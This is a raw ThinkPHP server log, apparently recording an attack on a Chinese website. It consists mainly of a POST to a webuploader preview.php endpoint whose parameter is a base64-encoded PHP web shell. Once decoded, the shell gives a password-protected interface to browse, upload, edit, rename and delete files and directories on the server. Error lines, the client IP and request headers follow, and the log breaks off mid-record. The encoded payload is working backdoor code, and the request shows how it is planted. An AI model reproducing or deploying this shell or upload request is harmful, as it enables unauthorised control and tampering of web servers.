'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:25+08:00 ] 116.213.36.234 POST 51tianwei.com/Public/static/webuploader/0.1.15/server/preview.php [运行时间:0.002699s] [吞吐率:370.52req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 